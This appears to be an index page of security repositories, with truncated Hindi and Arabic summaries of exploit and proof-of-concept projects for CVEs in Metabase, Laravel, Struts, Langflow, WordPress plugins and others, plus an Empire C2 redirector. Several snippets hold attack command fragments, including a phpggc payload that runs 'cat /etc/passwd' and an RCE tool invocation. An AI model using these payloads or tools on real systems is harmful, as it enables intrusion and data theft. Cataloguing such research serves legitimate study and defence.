CVE-2017-9096-iText-XXE

CVE-2017-9096 1. XXE युक्त दुर्भावनापूर्ण PDF बनाना फॉर्म वाली PDF प्राप्त करें: wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmitExample.pdf -O input.pdf PDF को डीकंप्रेस करें ऐसा करने के लिए आपको qpdf --qdf --object-streams=disable input.pdf output.pdf के साथ PDF को...

CVE-2021-38619

CVE-2021-38619 openBaraza HCM HR Payroll v.3.1.6 अप्रमाणित संग्रहीत XSS भेद्यता openBaraza HCM v.3.1.6 उपयोगकर्ता-नियंत्रित इनपुट को ठीक से बेअसर नहीं करता है, इससे एक अप्रमाणित दूरस्थ हमलावर को कई पृष्ठों से एक प्रशासनिक उपयोगकर्ता के खिलाफ संग्रहीत क्रॉस-साइट स्क्रिप्टिंग XSS हमला करने की अनुमत...

RCE_CVE-2024-7954

RCECVE-2024-7954 विवरण: SPIP द्वारा 4.30-alpha2, 4.2.13, और 4.1.16 से पहले उपयोग किया गया porteplume प्लगइन एक मनमाना कोड निष्पादन भेद्यता के लिए असुरक्षित है। एक दूरस्थ और अप्रमाणित हमलावर एक क्राफ्टेड HTTP अनुरोध भेजकर SPIP उपयोगकर्ता के रूप में मनमाना PHP निष्पादित कर सकता है। गंभीर शोषण: POST...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 के रूप में ज्ञात Metabase RCE Exploit के लिए स्वचालित उपकरण। अधिक जानकारी के लिए https://secry.me/explore/news/metabase-rce-cve-2023-38646/ पढ़ें POC, Dork single.py का उपयोग कैसे करें python3 single.py --url=http://127.0.0.1:8080 --command="curl...

CVE-2021-3129

CVE-2021-3129 कस्टम कमांड के लिए phar पैकेज उत्पन्न करें: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a php कमांड लाइन वातावरण में प्रवेश करें $fp = fopen'php://output', 'w'; streamfilterappend$fp,...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 उदाहरण:...

cve-2022-31813

CVE-2022-31813 भेद्यता जांचकर्ता लेखक : Derek Odiorne GitHub : @dodiorne संस्करण : 1.2 अंतिम अद्यतन : 21 मई, 2025 MITRE ATT &CK तकनीक: T1190 – सार्वजनिक-सामना वाले अनुप्रयोग का शोषण 🧠 विवरण यह उपकरण CVE-2022-31813 का पता लगाने के लिए एक ब्लैक-बॉक्स भेद्यता स्कैनर है, जो modproxy और ProxyPassMatch...

ldapserver

यह पैकेज कार्य प्रगति पर है। ldapserver एक सहायक लाइब्रेरी है जो LDAP प्रोटोकॉल बोलने में सक्षम सर्वर सॉफ्टवेयर बनाने के लिए है। यह LDAP का एक वैकल्पिक कार्यान्वयन, एक कस्टम LDAP प्रॉक्सी या एक पूरी तरह से अलग बैकएंड हो सकता है जो अपने API को LDAP सर्वर के रूप में 'प्रच्छन्न' करने में सक्षम है।...

cowitness

CoWitness CoWitness एक उपकरण है जिसे HTTP, HTTPS और DNS सर्वर के रूप में कार्य करने के लिए डिज़ाइन किया गया है। यह आपको वेब पेज सर्व करने, HTTP अनुरोधों को लॉग करने और DNS प्रतिक्रियाओं को अनुकूलित करने की सुविधा देता है। यह README विशेषताओं का अवलोकन और CoWitness टूल को संकलित compile और उपयोग...

iOS26.6-CVE-2026-65343

CVE-2026-65343 — قراءة خارج الحدود في AppleKeyStore كسر KASLR المكوّن: امتداد النواة AppleKeyStore — LibSerSEPControlDeserialize المتأثر: iOS / iPadOS 26.6 23G71 والإصدارات الأقدم تم الإصلاح في: iOS / iPadOS 26.6.1 23G83 النوع: قراءة خارج الحدود في إلغاء تسلسل رسائل تحكم SEP الأثر: تسريب مؤشرات...

Xibo-CMS-Zip-Slip-RCE-Exploit-CVE-2023-33177

Xibo CMS Zip Slip RCE एक्सप्लॉइट CVE-2023-33177 यह एक्सप्लॉइट Xibo CMS CVE-2023-33177 में एक पथ ट्रैवर्सल भेद्यता प्रदर्शित करता है जो दुर्भावनापूर्ण लेआउट आयात के माध्यम से रिमोट कोड निष्पादन RCE की अनुमति देता है। भेद्यता विवरण CVE/सलाह: CVE-2023-33177 प्रभावित संस्करण: Xibo CMS 1.8.0 - 2.3.16...

Project-Field-Analysis-and-Memory-Leak-Demonstration

उद्देश्य इस परियोजना का उद्देश्य किसी दूरस्थ होस्ट पर Heartbleed भेद्यता CVE-2014-0160 का आकलन करना, इसकी उपस्थिति की पुष्टि करना, और TLS प्रोटोकॉल के माध्यम से सर्वर मेमोरी से संभावित संवेदनशील जानकारी निकालने के लिए इसका शोषण करना था। निष्पादन 1. खुले सेवाओं की पहचान Nmap nmap -sC -sV...

CVE-2023-6063-PoC

CVE-2023-6063 के लिए PoC: WP Fastest Cache 1.2.2 अप्रमाणित ब्लाइंड SQL इंजेक्शन -red CVE-2023-6063 के लिए एक प्रूफ ऑफ कॉन्सेप्ट, WP Fastest Cache ≤1.2.2 में एक समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता। wordpressloggedin कुकी का दुरुपयोग करके wpusers तालिका से हैश किए गए पासवर्ड userpass और ईमेल...

CVE-2017-18345-COM_JOOMANAGER-ARBITRARY-FILE-DOWNLOAD

COMJOOMANAGER 2.0 - मनमाना फ़ाइल डाउनलोड प्लगइन: COMJOOMANAGER के साथ सामूहिक रूप से डेटाबेस एकत्र करना, CMS: Joomla से, परियोजना python 2.x में विकसित की गई है, अधिक जानकारी के लिए, youtube वीडियो देखें। CVE: 2017-18345 जोखिम : सुरक्षा जोखिम उच्च 0day.Today-ID: 29950 ExploitDB-id: 44252 0day...

Sleight

Sleight Empire HTTPS C2 रीडायरेक्टर सेटअप स्क्रिप्ट। उपयोग: Sleight का उपयोग 3 तरीकों से किया जा सकता है: 1 HTTP रीडायरेक्टर सेटअप करें: 1. Sleight चलाएँ और इसे एक Empire संचार प्रोफ़ाइल दें। 2. अपने Empire C2 का IP पता और लिसनिंग पोर्ट इनपुट करें। 3. HTTPS प्रॉम्प्ट पर नहीं कहें। 4. सभी अमान्य...

CVE-2023-27163

Request-Baskets पर SSRF का PoC CVE-2023-27163 इस रिपॉजिटरी में CVE-2023-27163 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC शामिल है, जो request-baskets में संस्करण 1.2.1 तक पाई गई एक सर्वर-साइड रिक्वेस्ट फोर्जरी SSRF कमजोरी है। यह कमजोरी हमलावरों को एक क्राफ्टेड API अनुरोध के माध्यम से /api/baskets/name घटक ...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE उपकरण केवल साझा करने और आदान-प्रदान के लिए है। अनधिकृत परीक्षण के लिए इसका उपयोग न करें, अन्यथा लेखक से कोई संबंध नहीं है। -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE शोषण स्कैनर CVE-2025-3248 यह Python-आधारित स्कैनर CVE-2025-3248 के माध्यम से Langflow इंस्टेंस में अप्रमाणित रिमोट कोड निष्पादन RCE कमजोरियों का पता लगाने को स्वचालित करता है। यह एक प्रूफ-ऑफ-कॉन्सेप्ट पेलोड का उपयोग करता है जो /api/v1/validate/code एंडपॉइंट का दुरुपयोग करके मनमाना...

CVE-2022-36663-PoC

CVE-2022-36663-PoC Gluu IAM ब्लाइंड ssrf के माध्यम से आंतरिक नेटवर्क स्कैनर Gluu IAM ब्लाइंड SSRF के प्रति संवेदनशील है, जिसका फायदा उठाकर प्रतिक्रिया समय के आधार पर आंतरिक नेटवर्क में खुले पोर्ट्स को स्कैन किया जा सकता है। https://nvd.nist.gov/vuln/detail/CVE-2022-36663 यह जाँचने के लिए कि लक्ष्...

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 - استغلال تنفيذ الأوامر عن بُعد غير المُصادق عليه في Langflow 📋 نظرة عامة CVE-2026-33017 هو ثغرة تنفيذ أوامر عن بُعد RCE غير مُصادق عليها في إصدارات Langflow هذا الاستغلال لأغراض تعليمية واختبارات مصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة...